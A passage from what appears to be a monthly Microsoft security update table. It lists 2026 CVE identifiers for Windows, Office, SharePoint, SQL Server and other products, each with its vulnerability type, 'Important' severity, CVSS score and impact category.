Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  